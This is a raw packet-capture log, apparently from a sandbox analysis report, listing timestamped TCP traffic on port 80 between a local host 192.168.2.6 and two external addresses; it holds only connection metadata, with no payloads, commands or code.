Nov 23, 2024 13:28:40.771148920 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.772001028 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.772063971 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.772110939 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.772804022 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.772846937 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.772912025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.772952080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.773720980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.773765087 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.773789883 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.773828983 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.774661064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.774703026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.774734020 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.774775028 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.775612116 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.775630951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.775654078 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.775669098 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.776702881 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.776818991 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.776878119 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.777539015 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.777586937 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.777599096 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.777643919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.778345108 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.778390884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.778477907 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.778522968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.778798103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.778842926 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.778875113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.779337883 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.779603958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.779654980 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.780195951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.780324936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.780369997 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.780699015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.780719995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.780745983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.781115055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.781223059 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.781267881 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.781415939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.781456947 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.781516075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.782073975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.782154083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.782191992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.782231092 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.782990932 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.783040047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.783113003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.783859968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.783960104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.784022093 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.784024954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.784112930 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.784157991 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.784836054 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.784890890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.784921885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.784964085 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.785746098 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.785794020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.785875082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.785922050 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.786681890 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.786725998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.786752939 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.786794901 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.787600040 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.787641048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.787672043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.787715912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.788532019 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.788629055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.788678885 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.789514065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.789556980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.789561987 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.789602041 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.790442944 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.790483952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.790555954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.790596962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.791349888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.791367054 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.791392088 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.791404963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.792222023 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.792330027 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.792381048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.793222904 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.793327093 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.822875023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.822982073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.823151112 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.824140072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.824242115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.824304104 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.826581001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.863394022 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.863445044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.863493919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.864713907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.864834070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.864857912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.866513014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.866569042 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.876430035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.876581907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.877679110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.877746105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.911427021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.911454916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.911535025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.948293924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.948396921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.948498011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.949457884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.949618101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.949670076 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.951896906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.952620983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.952681065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.952728033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.955435038 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.955493927 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.955549955 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.955929995 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.955993891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.956043005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.956875086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.956917048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.957036018 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.957078934 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.957799911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.957844019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.957879066 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.957920074 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.958674908 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.958713055 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.958854914 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.958894968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.959718943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.959769011 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.959811926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.959853888 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.960546970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.960647106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.960694075 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.961563110 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.961610079 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.961663961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.961711884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.962388039 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.962440968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.962502003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.962548971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.963318110 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.963366032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.963409901 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.963454008 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.964224100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.964270115 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.964359999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.964406967 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.965229988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.965353966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.965400934 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.966092110 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.966139078 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.966180086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.966219902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.967045069 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.967087984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.967154980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.967200041 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.967936993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.967987061 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.968031883 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.968888998 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.968935013 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.969005108 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.969050884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.969790936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.969835997 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.969897032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.969939947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.970705032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.970751047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.970820904 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.970861912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.971690893 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.971707106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.971741915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.971770048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.972565889 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.972769022 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.972819090 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.973577023 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.973634005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.973659992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.973701954 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.974488974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.974543095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.974569082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.974611998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.975390911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.975442886 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.975528955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.975575924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.976268053 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.976386070 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.976387024 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.977185011 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.977231026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.977298021 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.977339983 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.978121042 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.978163958 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.978287935 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.978328943 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.979151964 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.979367971 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.979413986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.980365038 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.980515957 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.980561018 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.981745958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.981787920 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.981892109 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.981935024 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.982758999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.982799053 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.982865095 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.982906103 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.983678102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.983720064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.983746052 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.983788013 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.984488964 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.984528065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.984566927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.985403061 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.985464096 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.985491037 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.985534906 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.996906996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.996954918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.996970892 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997024059 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997052908 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997066021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997076035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997092009 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997097015 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997121096 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997129917 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997145891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997163057 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997172117 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997179031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997199059 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.997205973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.997220993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997231007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997256994 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997298002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.997301102 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997335911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.997350931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.997365952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997375965 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.997391939 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997404099 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997409105 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997426033 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997430086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997442961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997457981 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997467041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997486115 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997507095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997584105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.997600079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.997622967 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.997664928 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997678995 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997703075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997708082 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997720003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997730970 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997746944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997750044 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997766972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997771978 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997783899 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997793913 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997802973 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997812033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997828960 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997848988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997867107 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997895002 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.997906923 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.997935057 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.998626947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.998689890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.998770952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.998811007 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.999407053 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.999464035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.999517918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.999564886 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.000391006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.000531912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.000592947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.001370907 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.001420021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.001482964 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.001533985 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.002254963 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.002322912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.002379894 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.002485037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.003145933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.003207922 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.003329992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.003432035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.003994942 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:41.004036903 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:41.037689924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.037800074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:41.037875891 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:41.038834095 CET	80	49758	34.116.198.130	192.168.2.6
